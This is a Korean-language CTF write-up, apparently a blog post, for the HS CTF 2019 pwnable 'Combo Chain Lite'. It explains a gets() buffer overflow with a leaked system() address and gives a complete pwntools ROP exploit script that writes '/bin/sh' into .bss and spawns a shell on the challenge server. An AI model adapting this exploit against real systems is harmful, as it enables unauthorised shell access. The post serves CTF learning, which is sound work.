WeekHack/Pwnable

HS CTF 2019 <Combo Chain Lite> Write-Up

Luke_S 2019. 6. 8. 10:52
반응형
SMALL

안녕하세요. Luke입니다. HS CTF Write-Up을 몰아서 쓰고 있습니다. Combo Chain과는 다르게 Combo Chain Lite는 흔한 ROP, 아니 흔한 ROP보다도 쉬운 ROP였습니다. system함수의 주소를 알려주고 있었습니다.

문제는 다음과 같습니다. 여기도 별 정보 없습니다.(HINT에 보면 ROP라고 나오긴 합니다.)

파일은 64비트 리눅스 바이너리입니다.

 

IDA로 열어보겠습니다.

얘도 Return to Sender과 같이 vuln()함수를 main()함수에서 실행시켜 줍니다.

그럼 vuln()함수를 열어봐야겠지요?

system 함수를 첫 줄에서 printf로 출력해주고, gets로 입력해줍니다. system 함수 주소를 알려주니 문제가 조금 쉽겠군요.

 

그럼 이제 메모리 보호 기술을 체크해보겠습니다.

NX 하나 걸려있고 Relro는 Partial이라 크게 상관 안해도 될 것 같습니다.

 

그러니 딱봐도 주어진 system 함수를 읽어와 ROP 후 해당 system 함수 주소로 "/bin/sh"를 실행시키면 쉘이 따일 것 같습니다.

 

그럼 이제 메모리 구조를 파악해야겠지요?

v1 변수가 0x8의 크기를 가지므로

0x8(8) + SFP 0x4(8) + RET이므로

 

system 주소를 RET에 넣어야하므로 16만큼 더미를 넣고 주소를 넣으면 될 것 같습니다.

그걸 토대로 익스 코드를 짜보겠습니다.

 

from pwn import *
  
bina='./combo-chain-lite'
#p=process(bina)
p=remote('pwn.hsctf.com',3131)
e=ELF(bina)
libc=e.libc

bss=e.bss()
pr=0x00401273
gets_plt=e.plt['gets']
gets_got=e.got['gets']

p.recvuntil(': ')
sys=p.recv(14)
log.success(sys)
sys=int(sys,16)
p.recvuntil(': ')

pay="A"*16
pay+=p64(pr)
pay+=p64(bss)
pay+=p64(gets_plt)

pay+=p64(pr)
pay+=p64(bss)
pay+=p64(sys)

p.sendline(pay)

p.sendline('/bin/sh')

p.interactive()

그럼 이걸로 익스를 하면!

다음과 같이 쉘이 따여 flag를 토해내게 됩니다.

hsctf{wheeeeeee_that_was_fun}

 

위히~~ 재밌었습니다~

반응형
LIST